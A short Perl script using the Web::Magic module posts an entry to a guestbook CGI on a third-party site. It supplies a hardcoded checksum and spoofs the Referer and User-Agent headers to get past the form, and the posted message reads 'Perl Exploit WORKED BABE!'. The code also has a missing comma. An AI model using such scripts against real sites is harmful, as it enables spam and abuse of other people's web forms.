use Web::Magic -sub => 'web';
web('http://members.sitegadgets.com/scripts/signbook.cgi')
  -> POST({
       sgchecksum  => 554,
       username    => 'sony10'
       1           => 'Perl Exploit WORKED BABE!',
       2           => 'Awesome@exploit.com',
       3           => 'Perl Exploit WORKED BABE!',
     })
  -> Referer('http://members.sitegadgets.com/sony10/signbook.html')
  -> User_Agent('Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:9.0.1) Gecko/20100101 Firefox/9.0.1')
  -> assert_success
  -> assert_type(qw[text/html application/xhtml+xml])
  -> do_request;